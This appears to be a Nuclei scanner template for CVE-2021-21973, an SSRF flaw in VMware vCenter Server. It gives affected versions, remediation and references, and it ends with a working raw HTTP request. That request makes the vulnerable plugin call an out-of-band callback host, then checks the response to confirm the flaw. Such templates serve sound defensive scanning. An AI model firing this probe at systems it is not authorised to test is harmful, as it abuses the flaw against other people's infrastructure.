id: CVE-2021-21973 info: name: VMware vSphere - Server-Side Request Forgery author: pdteam severity: medium description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2). remediation: | Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability. reference: - https://twitter.com/osama_hroot/status/1365586206982082560 - https://twitter.com/bytehx343/status/1486582542807420928 - https://www.vmware.com/security/advisories/VMSA-2021-0002.html - https://nvd.nist.gov/vuln/detail/CVE-2021-21973 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-21973 cwe-id: CWE-918 epss-score: 0.17148 epss-percentile: 0.95393 cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: cloud_foundation tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev http: - raw: - | GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1 Host: {{Hostname}} Vcip: {{interactsh-url}} Vcpassword: {{rand_base(6)}} Vcusername: {{rand_base(6)}} Reqresource: {{rand_base(6)}} matchers-condition: and matchers: - type: word part: body words: - "The server sent HTTP status code 200" - type: status status: - 500